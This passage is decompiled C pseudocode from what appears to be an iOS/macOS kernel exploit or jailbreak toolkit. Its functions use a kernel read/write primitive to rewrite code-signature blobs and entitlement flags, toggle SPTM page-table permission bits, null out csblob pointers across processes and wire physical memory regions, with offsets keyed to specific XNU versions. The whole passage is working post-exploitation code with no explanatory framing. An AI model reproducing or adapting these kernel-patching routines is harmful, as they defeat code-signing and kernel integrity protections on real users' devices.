  if ( !a5 )
    return 0;
  v8 = walk_task_csblob_chain(a1, a2, a3, a4, &v57);
  if ( !v8 )
    return 0;
  v9 = v8;
  v10 = a1->xnuVersionPacked <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) ? 48LL : 64LL;
  v11 = a1->xnuVersionPacked <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) ? 64LL : 80LL;
  v12 = a1->xnuVersionPacked <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) ? 16LL : 32LL;
  v13 = a1->xnuVersionPacked <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) ? 120LL : 128LL;
  v14 = 136;
  v15 = a1->xnuVersionPacked <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) ? 128LL : 136LL;
  if ( a1->xnuVersionPacked <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) )
  {
    v16 = 24;
  }
  else
  {
    v14 = 144;
    v16 = 40;
  }
  if ( !kread_physmap_decorated(a1, v14 + v8, &v59)
    || a1->xnuVersionPacked > XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023) && !kread_physmap_decorated(a1, v9 + 152, &v58)
    || !kread_physmap_decorated(a1, v13 + v9, &v61)
    || !kread_physmap_decorated(a1, v15 + v9, &v60)
    || !kread_u32((__int64)a1, v12 + v9, &v64)
    || (v64 & 1) == 0
    || !kread_physmap_decorated(a1, v10 + v9, &__size)
    || !kread_physmap_decorated(a1, v11 + v9, &v63) )
  {
    return 0;
  }
  v17 = 0;
  if ( v63 && __size )
  {
    if ( (unsigned int)krw_read_thunk(a1, v16 + v9, 8, &v56) )
    {
      v18 = (unsigned int *)malloc(__size);
      if ( v18 )
      {
        v19 = v18;
        *(uint64_t *)(a5 + 96) = 0;
        *(__int128 *)(a5 + 64) = 0u;
        *(__int128 *)(a5 + 80) = 0u;
        *(__int128 *)(a5 + 32) = 0u;
        *(__int128 *)(a5 + 48) = 0u;
        *(__int128 *)a5 = 0u;
        *(__int128 *)(a5 + 16) = 0u;
        if ( !(unsigned int)krw_read_thunk(a1, v63, __size, v18) )
          goto LABEL_110;
        *(uint32_t *)a5 = v64;
        v20 = __size;
        v21 = v63;
        *(uint64_t *)(a5 + 8) = v9;
        *(uint64_t *)(a5 + 16) = v20;
        v22 = v57;
        *(uint64_t *)(a5 + 24) = v21;
        *(uint64_t *)(a5 + 32) = v22;
        *(uint64_t *)(a5 + 40) = v56;
        *(uint32_t *)(a5 + 68) = a2;
        v23 = v61 ? (unsigned int)(v61 - v21) : 0LL;
        *(uint32_t *)(a5 + 76) = v23;
        if ( v20 <= v23 )
          goto LABEL_110;
        v24 = v60 ? (unsigned int)(v60 - v21) : 0LL;
        *(uint32_t *)(a5 + 80) = v24;
        if ( (uint32_t)v24 )
        {
          if ( v20 <= v24 && ((a1->flags & KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) != 0 || a1->xnuVersionPacked > XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023)) )
            goto LABEL_110;
        }
        v25 = v59 ? (unsigned int)(v59 - v21) : 0LL;
        *(uint32_t *)(a5 + 84) = v25;
        if ( (uint32_t)v25 )
        {
          if ( v20 <= v25 )
            goto LABEL_110;
        }
        LODWORD(v21) = v58 - v21;
        v21 = v58 ? (unsigned int)v21 : 0LL;
        *(uint32_t *)(a5 + 88) = v21;
        if ( (uint32_t)v21 )
        {
          if ( v20 <= v21 )
            goto LABEL_110;
        }
        if ( *v19 == 34397946 )
        {
          v55 = (unsigned int *)csblob_alloc_container();
          if ( !v55 )
            goto LABEL_110;
          v39 = csblob_dup_entry(v19);
          if ( v39 )
          {
            v35 = v39;
            if ( (unsigned int)csblob_realloc_array(v55, 0, (__int64)v39) != -1 )
            {
              LODWORD(v37) = 0;
              v40 = 0;
              *(uint32_t *)(a5 + 48) = 1;
              *(uint64_t *)(a5 + 56) = v55;
              *(uint32_t *)(a5 + 64) = 0;
LABEL_104:
              *(uint32_t *)(a5 + 92) = v37;
              v53 = csblob_find_entry(a5, v40, -86111230);
              if ( v53 )
              {
                *(uint32_t *)(a5 + 72) = *((unsigned __int8 *)v53 + 36);
                if ( a1->xnuVersionPacked <= XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023)
                  || !csblob_find_entry(a5, 7, -86085262)
                  || csblob_find_entry(a5, 5, -86085263)
                  || (unsigned int)csblob_zero_entry_region(a5, 5u, -86085263) )
                {
                  v17 = 1;
LABEL_111:
                  free(v19);
                  return v17;
                }
              }
LABEL_110:
              csblob_free_entry(a5);
              v17 = 0;
              goto LABEL_111;
            }
LABEL_83:
            csblob_bzero_and_free(v35);
          }
        }
        else
        {
          if ( *v19 != -1072898310 )
            goto LABEL_110;
          v55 = (unsigned int *)csblob_alloc_container();
          if ( !v55 )
            goto LABEL_110;
          v54 = v23;
          v26 = v19[2];
          if ( v26 )
          {
            v27 = 0;
            v28 = bswap32(v26);
            v29 = v19 + 4;
            while ( 1 )
            {
              v30 = v29;
              v31 = *(v29 - 1);
              v32 = bswap32(*v29);
              if ( (unsigned int)v32 < v27 || v27 == 0 )
                v27 = v32;
              v34 = csblob_dup_entry((unsigned int *)((char *)v19 + v32));
              if ( !v34 )
                goto LABEL_84;
              v35 = v34;
              v36 = bswap32(v31);
              if ( (unsigned int)csblob_realloc_array(v55, v36, (__int64)v34) == -1 )
                goto LABEL_83;
              if ( *v35 == 34397946 )
              {
                if ( v54 )
                {
                  if ( (uint32_t)v32 != v54 )
                    goto LABEL_75;
                  goto LABEL_74;
                }
                if ( !v31 )
                {
                  v36 = 0;
LABEL_74:
                  *(uint32_t *)(a5 + 64) = v36;
                }
              }
LABEL_75:
              v29 = v30 + 2;
              if ( !--v28 )
              {
                v37 = ((unsigned __int64)v27 + 0x7FFFFFFF4LL) >> 3;
                goto LABEL_86;
              }
            }
          }
          LODWORD(v37) = -2;
LABEL_86:
          v40 = *(uint32_t *)(a5 + 64);
          v41 = *v55;
          if ( !(uint32_t)v41 )
            goto LABEL_103;
          v42 = 0;
          v43 = 0;
          v44 = 0;
          v45 = 0;
          v46 = (unsigned int **)(*((uint64_t *)v55 + 1) + 8LL);
          do
          {
            v47 = *((uint32_t *)v46 - 2);
            v48 = bswap32(**v46);
            if ( v48 == -86111230 )
            {
              if ( v47 == v40 )
                v43 = *v46;
            }
            else if ( v48 == -86085263 && v47 == 5 )
            {
              v45 = v42;
              v44 = *v46;
            }
            ++v42;
            v46 += 2;
          }
          while ( v41 != v42 );
          if ( !v44 )
            goto LABEL_103;
          v49 = bswap32(v44[1]);
          if ( !v43 || (v50 = v43[10], !(uint32_t)v50) || (v50 & 0x3FFF) != 0 )
            v50 = v49 + 1;
          v51 = (char *)realloc(v44, v50);
          if ( v51 )
          {
            v52 = v51;
            bzero(&v51[v49], v50 - v49);
            *(uint64_t *)(*((uint64_t *)v55 + 1) + 16LL * v45 + 8) = v52;
            v40 = *(uint32_t *)(a5 + 64);
LABEL_103:
            *(uint32_t *)(a5 + 48) = 1;
            *(uint64_t *)(a5 + 56) = v55;
            goto LABEL_104;
          }
        }
LABEL_84:
        csblob_free_array(v55);
        goto LABEL_110;
      }
    }
    return 0;
  }
  return v17;
}

//----- (000000000002EB4C) ----------------------------------------------------
__int64 __fastcall krw_read_with_version_check(struct_krwCtx *a1, unsigned int a2, unsigned __int64 a3, bool *a4)
{
  __int64 result; // x0
  int v7; // w8
  int v9; // w21
  int v12; // [xsp+Ch] [xbp-24h] BYREF

  result = 0;
  v12 = 0;
  v7 = a1->xnuMajorVersion;
  if ( v7 <= 8791 )
  {
    if ( (unsigned int)(v7 - 8019) >= 2 )
    {
      if ( v7 != 6153 && v7 != 7195 )
        return result;
      v9 = 0x20000;
LABEL_18:
      result = traverse_sptm_pgtable_chain(a1, a2, a3);
      if ( result )
      {
        result = krw_read_thunk(a1, result + 72, 4, &v12);
        if ( (uint32_t)result )
        {
          *a4 = (v12 & v9) != 0;
          return 1;
        }
      }
      return result;
    }
LABEL_17:
    v9 = 0x80000;
    goto LABEL_18;
  }
  if ( v7 == 8792 || v7 == 10002 || v7 == 8796 )
    goto LABEL_17;
  return result;
}

//----- (000000000002EC1C) ----------------------------------------------------
__int64 __fastcall kwrite_with_version_check(struct_krwCtx *a1, unsigned int a2, unsigned __int64 a3, int a4)
{
  __int64 result; // x0
  int v7; // w8
  int v9; // w22
  __int64 v12; // x21
  int v13; // w8
  int v14; // [xsp+Ch] [xbp-24h] BYREF

  result = 0;
  v14 = 0;
  v7 = a1->xnuMajorVersion;
  if ( v7 > 8791 )
  {
    if ( v7 != 8792 && v7 != 10002 && v7 != 8796 )
      return result;
  }
  else if ( (unsigned int)(v7 - 8019) >= 2 )
  {
    if ( v7 != 6153 && v7 != 7195 )
      return result;
    v9 = 0x20000;
    goto LABEL_18;
  }
  v9 = 0x80000;
LABEL_18:
  result = traverse_sptm_pgtable_chain(a1, a2, a3);
  if ( result )
  {
    v12 = result + 72;
    result = krw_read_thunk(a1, result + 72, 4, &v14);
    if ( (uint32_t)result )
    {
      if ( a4 )
        v13 = v14 | v9;
      else
        v13 = v14 & ~v9;
      v14 = v13;
      return (unsigned int)kwrite_with_retry((__int64)a1, v12, (__int64)&v14, 4) != 0;
    }
  }
  return result;
}

//----- (000000000002ED14) ----------------------------------------------------
__int64 __fastcall setup_physmap_and_wire_region(
        __int64 a1,
        unsigned int a2,
        unsigned __int64 a3,
        mach_vm_size_t a4,
        vm_prot_t a5,
        int a6,
        int a7)
{
  __int64 result; // x0
  int v15; // w27
  unsigned __int64 v16; // x19
  int v17; // w8
  int v18; // w9
  int v19; // w8
  unsigned __int64 v20; // x0
  __int64 v22; // x19
  unsigned __int64 v23; // x23
  unsigned __int64 v24; // x8
  unsigned __int64 v25; // x8
  size_t v26; // x25
  uint64_t *v27; // x27
  char v28; // w26
  __int64 v29; // x19
  int v31; // w2
  unsigned __int64 v32; // x0
  __int64 v33; // x8
  __int64 v34; // x9
  mach_vm_size_t v35; // x28
  mach_port_t v36; // w26
  unsigned __int64 v37; // x25
  mach_vm_address_t *v38; // x19
  uint32_t *v39; // x2
  unsigned __int64 v40; // x0
  unsigned __int64 v41; // x23
  int v42; // w0
  unsigned __int64 v43; // x8
  int v45; // w9
  __int64 v46; // x23
  kern_return_t v47; // w0
  __int64 v48; // x19
  mach_vm_address_t *v49; // x25
  mach_vm_address_t v50; // t1
  unsigned __int64 v51; // [xsp+10h] [xbp-130h]
  int v52; // [xsp+10h] [xbp-130h]
  vm_prot_t desired_access; // [xsp+18h] [xbp-128h]
  vm_prot_t desired_accessa; // [xsp+18h] [xbp-128h]
  int v55; // [xsp+1Ch] [xbp-124h]
  int v56; // [xsp+1Ch] [xbp-124h]
  int v57; // [xsp+20h] [xbp-120h]
  int v58; // [xsp+24h] [xbp-11Ch]
  unsigned __int64 v59; // [xsp+28h] [xbp-118h]
  unsigned __int64 v60; // [xsp+30h] [xbp-110h] BYREF
  mach_vm_address_t v61; // [xsp+38h] [xbp-108h] BYREF
  unsigned __int64 v62; // [xsp+40h] [xbp-100h] BYREF
  unsigned __int64 v63; // [xsp+48h] [xbp-F8h] BYREF
  mach_vm_address_t address[2]; // [xsp+50h] [xbp-F0h] BYREF
  __int128 v65; // [xsp+60h] [xbp-E0h]
  __int128 v66; // [xsp+70h] [xbp-D0h]
  __int128 v67; // [xsp+80h] [xbp-C0h]
  __int128 v68; // [xsp+90h] [xbp-B0h]
  __int128 v69; // [xsp+A0h] [xbp-A0h]
  __int128 v70; // [xsp+B0h] [xbp-90h]
  __int128 v71; // [xsp+C0h] [xbp-80h]
  uint32_t v72[2]; // [xsp+D8h] [xbp-68h] BYREF

  result = physmap_pgtable_check_and_append((struct_krwCtx *)a1, a2);
  if ( (uint32_t)result )
  {
    if ( !a4 )
      return 1;
    result = get_task_vm_info_1(a2);
    if ( (uint32_t)result )
    {
      v15 = result;
      result = scan_and_validate_kaddr(a1, a2, a3, &v60);
      if ( result )
      {
        v16 = result;
        result = 0;
        v17 = *(uint32_t *)(a1 + 320);
        if ( v17 > 8791 )
        {
          if ( v17 != 8792 && v17 != 10002 )
          {
            v18 = 8796;
LABEL_12:
            if ( v17 != v18 )
              return result;
          }
        }
        else if ( (unsigned int)(v17 - 8019) >= 2 )
        {
          if ( v17 == 6153 )
          {
            v58 = 0x40000;
            v19 = -524545;
LABEL_14:
            v57 = v19;
            result = kread_physmap_decorated((struct_krwCtx *)a1, v16, &v61);
            if ( (uint32_t)result )
            {
              v59 = v16;
              if ( !*(uint64_t *)(a1 + 496) )
              {
                v52 = a7;
                v56 = a6;
                v70 = 0u;
                v71 = 0u;
                v68 = 0u;
                v69 = 0u;
                v66 = 0u;
                v67 = 0u;
                *(__int128 *)address = 0u;
                v65 = 0u;
                v35 = vm_page_size;
                v36 = mach_task_self_;
                if ( mach_vm_allocate(mach_task_self_, address, vm_page_size, 9) )
                  return 0;
                desired_accessa = a5;
                v37 = 0;
                v38 = &address[1];
                while ( 1 )
                {
                  v39 = (uint32_t *)*(v38 - 1);
                  *v39 = 0;
                  v40 = scan_and_validate_kaddr(a1, v36, (unsigned __int64)v39, &v62);
                  if ( v40 )
                  {
                    v41 = v40;
                    if ( (unsigned int)krw_read_thunk((struct_krwCtx *)a1, v40, 8, v72) )
                    {
                      v42 = kread_physmap_decorated((struct_krwCtx *)a1, v41 + 32, &v63);
                      v43 = v63;
                      if ( v42 && v63 != 0 )
                      {
                        v45 = v72[0];
                        if ( (v72[0] & 0x80000000) != 0 && v72[0] == v72[1] )
                        {
                          *(uint32_t *)(a1 + 504) = 48;
                          *(uint64_t *)(a1 + 496) = v43 - (unsigned int)(48 * v45);
                        }
                      }
                    }
                  }
                  v46 = *(uint64_t *)(a1 + 496);
                  if ( v37 > 0xE || v46 )
                    break;
                  v47 = mach_vm_allocate(v36, v38++, v35, 9);
                  ++v37;
                  if ( v47 )
                    goto LABEL_68;
                }
                LODWORD(v37) = v37 + 1;
LABEL_68:
                v48 = (unsigned int)v37;
                v49 = address;
                a6 = v56;
                do
                {
                  v50 = *v49++;
                  mach_vm_deallocate(mach_task_self_, v50, v35);
                  --v48;
                }
                while ( v48 );
                a5 = desired_accessa;
                a7 = v52;
                if ( !v46 )
                  return 0;
              }
              v20 = port_right_index_to_kaddr(a1, v61);
              v61 = v20;
              if ( !v20 || v20 == v59 )
              {
                return 0;
              }
              else
              {
                v22 = v20;
                desired_access = a5;
                v23 = v15;
                v24 = a4 % v15;
                if ( v24 )
                  v25 = v15 - v24;
                else
                  v25 = 0;
                v51 = v25 + a4;
                v26 = (v25 + a4) / v15;
                result = (__int64)calloc(v26, 8u);
                if ( result )
                {
                  v27 = (uint64_t *)result;
                  v55 = a6;
                  v28 = 0;
                  do
                  {
                    if ( !(unsigned int)krw_read_thunk((struct_krwCtx *)a1, v22, 48, address) )
                      goto LABEL_66;
                    if ( (v28 & 1) != 0 )
                    {
                      if ( (uint32_t)v63 != (uint32_t)v66 )
                        goto LABEL_66;
                    }
                    else
                    {
                      LODWORD(v63) = v66;
                    }
                    v29 = *((uint64_t *)&v65 + 1);
                    if ( *((uint64_t *)&v65 + 1) >= v60 && *((uint64_t *)&v65 + 1) < v60 + a4 )
                    {
                      if ( (WORD6(v66) & 0x140) == 0 )
                        goto LABEL_66;
                      v31 = a7 ? HIDWORD(v66) & ~v58 : HIDWORD(v66) & v57 | v58;
                      if ( !noppl_kwrite32(a1, v61 + 44, v31) )
                        goto LABEL_66;
                      v27[(v29 - v60) / v23] = v61;
                    }
                    v61 = address[1];
                    v32 = port_right_index_to_kaddr(a1, address[1]);
                    v61 = v32;
                    if ( !v32 )
                      goto LABEL_66;
                    v22 = v32;
                    v28 = 1;
                  }
                  while ( v59 != v32 );
                  if ( v51 >= v23 )
                  {
                    v33 = 0;
                    v34 = v26;
                    if ( v26 <= 1 )
                      v34 = 1;
                    while ( v27[v33] )
                    {
                      if ( ++v33 == v34 )
                        goto LABEL_47;
                    }
LABEL_66:
                    free(v27);
                    return 0;
                  }
LABEL_47:
                  free(v27);
                  if ( !v55 )
                    return 1;
                  return mach_vm_wire(*(uint32_t *)(a1 + 6432), a2, a3, a4, desired_access) == 0;
                }
              }
            }
            return result;
          }
          v18 = 7195;
          goto LABEL_12;
        }
        v58 = 3932160;
        v19 = -62914817;
        goto LABEL_14;
      }
    }
  }
  return result;
}

//----- (000000000002F194) ----------------------------------------------------
bool __fastcall csblob_modify_entitlement_bits(struct_krwCtx *a1, unsigned int a2, int a3, int a4)
{
  unsigned int *v7; // x0
  uint64_t v8; // x19
  unsigned __int64 v10; // x9
  __int64 v11; // x8
  unsigned __int64 v12; // x10
  __int64 v13; // x11
  unsigned __int64 v14; // x8
  uint8_t v15[104]; // [xsp+8h] [xbp-88h] BYREF

  if ( !(unsigned int)csblob_read_and_patch(a1, a2, (__int64)v15) )
    return 0;
  v7 = csblob_find_entry((__int64)v15, 0, -86111230);
  if ( v7 && bswap32(v7[2]) >> 10 >= 0x81 )
  {
    v10 = *((uint64_t *)v7 + 10);
    v11 = 16;
    if ( !a3 )
      v11 = 0;
    v12 = bswap64(v10 & 0xAFFFFFFFFFFFFFFFLL);
    v13 = 64;
    if ( !a4 )
      v13 = 0;
    v14 = v13 | v11 | v12;
    if ( v14 == bswap64(v10) )
    {
      v8 = 1;
      goto LABEL_5;
    }
    *((uint64_t *)v7 + 10) = bswap64(v14);
    if ( (unsigned int)csblob_replace_entry((__int64)v15, 0, v7) )
    {
      v8 = (unsigned int)csblob_apply_with_physmap_write(a1, (__int64)v15) != 0;
      goto LABEL_5;
    }
  }
  v8 = 0;
LABEL_5:
  csblob_free_entry((__int64)v15);
  return v8;
}

//----- (000000000002F294) ----------------------------------------------------
__int64 __fastcall check_csblob_patchable(struct_krwCtx *a1, unsigned int a2)
{
  __int64 result; // x0
  uint8_t v3[104]; // [xsp+8h] [xbp-68h] BYREF

  result = csblob_read_and_patch(a1, a2, (__int64)v3);
  if ( (uint32_t)result )
  {
    csblob_free_entry((__int64)v3);
    return 1;
  }
  return result;
}

//----- (000000000002F2C8) ----------------------------------------------------
unsigned __int64 __fastcall patch_csblob_in_all_procs(struct_krwCtx *a1, unsigned int a2, __int64 a3)
{
  __int64 v2; // x19
  unsigned int v4; // w21
  struct_krwCtx *v5; // x20
  unsigned __int64 result; // x0
  unsigned __int64 v7; // x22
  int v9; // w8
  __int64 v10; // x1
  __int64 *v11; // x28
  __int64 v12; // x2
  unsigned __int64 xnuVersionPacked; // x8
  char *v14; // x9
  __int64 v15; // x9
  __int64 v16; // x21
  int v17; // w0
  __int64 v18; // x23
  int v19; // w21
  char *v20; // x21
  bool v21; // zf
  int v22; // w0
  int v23; // w8
  unsigned __int64 v24; // x24
  char *v25; // x27
  char *v26; // x28
  __int64 v27; // x8
  __int64 v28; // x24
  unsigned __int64 v29; // x23
  unsigned __int64 v30; // x24
  __int64 v31; // x9
  __int64 v32; // x10
  unsigned __int64 *v33; // x2
  struct_krwCtx *v34; // x0
  unsigned __int64 v35; // x1
  mach_vm_size_t v36; // x3
  __int64 *v37; // [xsp+10h] [xbp-11F0h]
  int v38; // [xsp+18h] [xbp-11E8h]
  int v39; // [xsp+1Ch] [xbp-11E4h]
  __int64 v40; // [xsp+20h] [xbp-11E0h]
  __int64 v41; // [xsp+28h] [xbp-11D8h] BYREF
  unsigned int v42; // [xsp+30h] [xbp-11D0h] BYREF
  unsigned int v43; // [xsp+34h] [xbp-11CCh] BYREF
  __int64 address; // [xsp+38h] [xbp-11C8h] BYREF
  unsigned __int64 v45; // [xsp+40h] [xbp-11C0h] BYREF
  unsigned __int64 v46; // [xsp+48h] [xbp-11B8h] BYREF
  __int64 v47; // [xsp+50h] [xbp-11B0h] BYREF
  __int64 v48; // [xsp+58h] [xbp-11A8h] BYREF
  __int64 v49; // [xsp+60h] [xbp-11A0h] BYREF
  int newBytes; // [xsp+6Ch] [xbp-1194h] BYREF
  uint8_t v51[4]; // [xsp+70h] [xbp-1190h] BYREF
  int __fd; // [xsp+74h] [xbp-118Ch] BYREF
  __int64 v53; // [xsp+78h] [xbp-1188h] BYREF
  mach_vm_address_t v54; // [xsp+80h] [xbp-1180h] BYREF
  unsigned __int64 v55; // [xsp+88h] [xbp-1178h] BYREF
  __int128 v56; // [xsp+90h] [xbp-1170h] BYREF
  __int128 v57[11]; // [xsp+A0h] [xbp-1160h] BYREF
  __int64 v58; // [xsp+150h] [xbp-10B0h]
  uint64_t v59[7]; // [xsp+160h] [xbp-10A0h] BYREF
  uint8_t v60[20]; // [xsp+198h] [xbp-1068h] BYREF
  int v61; // [xsp+1ACh] [xbp-1054h]
  __int64 v62; // [xsp+1B8h] [xbp-1048h] BYREF

  v2 = a3;
  v4 = a2;
  v5 = a1;
  v47 = 0;
  v48 = 0;
  v45 = 0;
  v46 = 0;
  address = 0;
  result = kread_task_struct(a1, a2);
  if ( result )
  {
    v7 = result;
    result = get_csblob_offset_pair((__int64)v5, (int *)&v48 + 1, (int *)&v48);
    if ( (uint32_t)result )
    {
      if ( !kread_physmap_decorated(v5, v7 + HIDWORD(v48), (unsigned __int64 *)&v47) || v47 == 0 )
        return 0;
      result = walk_proc_and_get_csblob_addr(v5, v4, &v46);
      if ( !(uint32_t)result )
        return result;
      result = get_csblob_size_pair((__int64)v5, &v43, &v42);
      if ( !(uint32_t)result )
        return result;
      result = kread_physmap_decorated(v5, v47 + v43, &v45);
      if ( !(uint32_t)result )
        return result;
      if ( !v45 )
        return 0;
      v9 = kread_physmap_decorated(v5, v45 + v42, (unsigned __int64 *)&address);
      result = 0;
      if ( v9 )
      {
        v10 = address;
        if ( address )
        {
          v11 = &v62;
          while ( 1 )
          {
            v58 = 0;
            memset(&v57[1], 0, 160);
            v12 = v5->xnuVersionPacked <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) ? 48LL : 64LL;
            v56 = 0u;
            v57[0] = 0u;
            if ( !(unsigned int)krw_read_thunk(v5, v10, v12, &v56) )
              break;
            xnuVersionPacked = v5->xnuVersionPacked;
            v14 = (char *)&v57[1] + 8;
            if ( xnuVersionPacked <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) )
              v14 = (char *)v57 + 8;
            if ( !(*(uint64_t *)v14 >> 29) )
            {
              v15 = 144;
              if ( xnuVersionPacked > XNU_VERSION_PACKED(7195, 100, 325, 1023, 1023) )
                v15 = 152;
              if ( xnuVersionPacked > XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023) )
                v15 = 168;
              if ( xnuVersionPacked <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) )
                v16 = v15;
              else
                v16 = 160;
              if ( !kread_physmap_decorated(v5, address + v16, (unsigned __int64 *)&v41) )
                break;
              if ( v41 && (v2 == 0 || v41 == v2) )
              {
                if ( !validate_kaddr_range((__int64)v5, v41) )
                  break;
                if ( !kwrite64_dispatch(v5, address + v16, 0) )
                  break;
                if ( v5->xnuVersionPacked > XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023) )
                {
                  v40 = address;
                  v18 = v46;
                  v54 = 0;
                  v55 = v46;
                  v53 = 0;
                  __fd = -1;
                  if ( !(unsigned int)wire_proc_page_via_kobject(v5, v47, &v54, &v53, &__fd)
                    || (v19 = __fd, (unsigned int)pread_loop(__fd, (__int64)v60, 0x1000u, v18)) )
                  {
                    v20 = 0;
                    v39 = 0;
                    goto LABEL_39;
                  }
                  v38 = v19;
                  v23 = v61;
                  v24 = (unsigned int)(v61 + 32);
                  if ( (unsigned int)v24 <= 0x1000 )
                  {
                    v20 = 0;
                    v37 = v11;
                    v25 = (char *)v11;
                  }
                  else
                  {
                    v20 = (char *)malloc((unsigned int)(v61 + 32));
                    if ( !v20 || (unsigned int)pread_loop(v38, (__int64)v20, v24, v18) )
                    {
                      v39 = 0;
                      goto LABEL_39;
                    }
                    v37 = v11;
                    v25 = v20 + 32;
                    v23 = *((uint32_t *)v20 + 5);
                  }
                  v26 = &v25[v23];
                  if ( v25 >= v26 )
                  {
                    v39 = 0;
LABEL_74:
                    v11 = v37;
LABEL_39:
                    if ( v54 )
                      v21 = v53 == 0;
                    else
                      v21 = 1;
                    if ( !v21 )
                      kwrite64((__int64)v5, v54, v53);
                    if ( __fd != -1 )
                      close(__fd);
                    if ( v20 )
                      free(v20);
                    if ( !v39 )
                      break;
                    goto LABEL_49;
                  }
                  v39 = 0;
                  while ( 2 )
                  {
                    if ( *(uint32_t *)v25 == 29 )
                    {
                      newBytes = 14;
                      v49 = 0x7F00000000000000LL;
                      v27 = 8;
                      if ( v5->xnuVersionPacked <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) )
                      {
                        v28 = 24;
                      }
                      else
                      {
                        v27 = 24;
                        v28 = 40;
                      }
                      v29 = v27 + v40;
                      if ( (unsigned int)krw_read_thunk(v5, v27 + v40, 4, v51) )
                      {
                        if ( (unsigned int)kwritebuf_universal(v5, v29, &newBytes, 4u) )
                        {
                          v30 = v28 + v40;
                          if ( (unsigned int)kwritebuf_universal(v5, v30, &v49, 8u) )
                          {
                            v31 = *((unsigned int *)v25 + 2);
                            v32 = *((unsigned int *)v25 + 3);
                            v59[0] = v55;
                            v59[1] = v31;
                            v59[2] = v32;
                            if ( fcntl(v38, 61, v59) )
                            {
                              kwritebuf_universal(v5, v29, v51, 4u);
                              v33 = &v55;
                              v34 = v5;
                              v35 = v30;
                              v36 = 8;
                              goto LABEL_69;
                            }
                            v39 = 1;
                          }
                          else
                          {
                            v33 = (unsigned __int64 *)v51;
                            v34 = v5;
                            v35 = v29;
                            v36 = 4;
LABEL_69:
                            kwritebuf_universal(v34, v35, v33, v36);
                          }
                        }
                      }
                    }
                    v25 += *((unsigned int *)v25 + 1);
                    if ( v25 >= v26 )
                      goto LABEL_74;
                    continue;
                  }
                }
              }
            }
LABEL_49:
            v22 = kread_physmap_decorated(v5, address, (unsigned __int64 *)&address);
            v10 = address;
            if ( !v22 || !address )
              return v10 == 0;
          }
          v10 = address;
          return v10 == 0;
        }
      }
    }
  }
  return result;
}
// 2F300: variable 'v1' is possibly undefined
// 2F304: variable 'v3' is possibly undefined
// 2F4FC: variable 'v17' is possibly undefined
// 48940: using guessed type __int64 __chkstk_darwin(void);
// 48940: using guessed type __int64 __fastcall __chkstk_darwin(uint64_t, uint64_t);

//----- (000000000002F7BC) ----------------------------------------------------
__int64 __fastcall walk_csblob_chain_for_offset(struct_krwCtx *a1, int a2)
{
  __int64 result; // x0
  unsigned __int64 v5; // x20
  int v6; // w0
  unsigned int v7; // [xsp+8h] [xbp-28h] BYREF
  unsigned int v8; // [xsp+Ch] [xbp-24h] BYREF
  __int64 v9; // [xsp+10h] [xbp-20h] BYREF
  __int64 v10; // [xsp+18h] [xbp-18h] BYREF

  v9 = 0;
  v10 = 0;
  result = get_csblob_size_pair((__int64)a1, &v8, &v7);
  if ( (uint32_t)result )
  {
    if ( (unsigned int)validate_port_set_chain(a1, a2, &v10) )
    {
      return 0;
    }
    else
    {
      result = kread_physmap_decorated(a1, v10 + v8, (unsigned __int64 *)&v10);
      if ( (uint32_t)result )
      {
        result = validate_kaddr_range((__int64)a1, v10);
        if ( result )
        {
          v5 = v10 + v7;
          result = kread_physmap_decorated(a1, v5, (unsigned __int64 *)&v9);
          if ( (uint32_t)result )
          {
            if ( v9 )
            {
              result = validate_kaddr_range((__int64)a1, v9);
              if ( result )
              {
                return kwrite64_dispatch(a1, v5, 0) != 0;
              }
            }
            else
            {
              return 1;
            }
          }
        }
      }
    }
  }
  return result;
}
// 2F888: variable 'v6' is possibly undefined

//----- (000000000002F898) ----------------------------------------------------
unsigned __int64 __fastcall proc_kread_and_patch_slot(struct_krwCtx *a1, unsigned int a2, __int64 a3)
{
  unsigned __int64 result; // x0
  unsigned __int64 v6; // x21
  __int64 v7; // [xsp+8h] [xbp-28h] BYREF

  v7 = 0;
  result = task_self_get_ipc_port(a1, a2);
  if ( result )
  {
    result = get_task_struct_offset((__int64)a1, result);
    if ( result )
    {
      v6 = result;
      result = kread_physmap_decorated(a1, result, (unsigned __int64 *)&v7);
      if ( (uint32_t)result )
      {
        if ( (v7 & 4) != 0 )
          return 1;
        v7 |= a3 & 0xFFFFFFFFFFFFF000LL | 4;
        result = kwrite_physmap_with_a3_ptr((__int64)a1, v6, v7);
        if ( (uint32_t)result )
          return 1;
      }
    }
  }
  return result;
}

//----- (000000000002F92C) ----------------------------------------------------
__int64 __fastcall csblob_find_slot_by_pair(__int64 result, int a2, int a3)
{
  unsigned int *v3; // x9
  __int64 v4; // x8

  if ( result )
  {
    if ( *(uint32_t *)(result + 48) == 1 && (v3 = *(unsigned int **)(result + 56), v4 = *v3, (uint32_t)v4) )
    {
      for ( result = *((uint64_t *)v3 + 1); *(uint32_t *)result != a2 || bswap32(**(uint32_t **)(result + 8)) != a3; result += 16 )
      {
        if ( !--v4 )
          return 0;
      }
    }
    else
    {
      return 0;
    }
  }
  return result;
}

//----- (000000000002F980) ----------------------------------------------------
void *__fastcall csblob_dup_entry(unsigned int *a1)
{
  size_t v2; // x21
  void *v3; // x0
  void *v4; // x19

  v2 = bswap32(a1[1]);
  v3 = malloc(v2);
  v4 = v3;
  if ( v3 )
    memcpy(v3, a1, v2);
  return v4;
}

//----- (000000000002F9D4) ----------------------------------------------------
void __fastcall csblob_bzero_and_free(uint32_t *a1)
{
  unsigned int v2; // w8
  __int64 vars8; // [xsp+18h] [xbp+8h]

  if ( a1 )
  {
    v2 = a1[1];
    if ( v2 )
      bzero(a1, bswap32(v2));
    free(a1);
  }
}
// 2FA10: variable 'vars8' is possibly undefined

//----- (000000000002FA24) ----------------------------------------------------
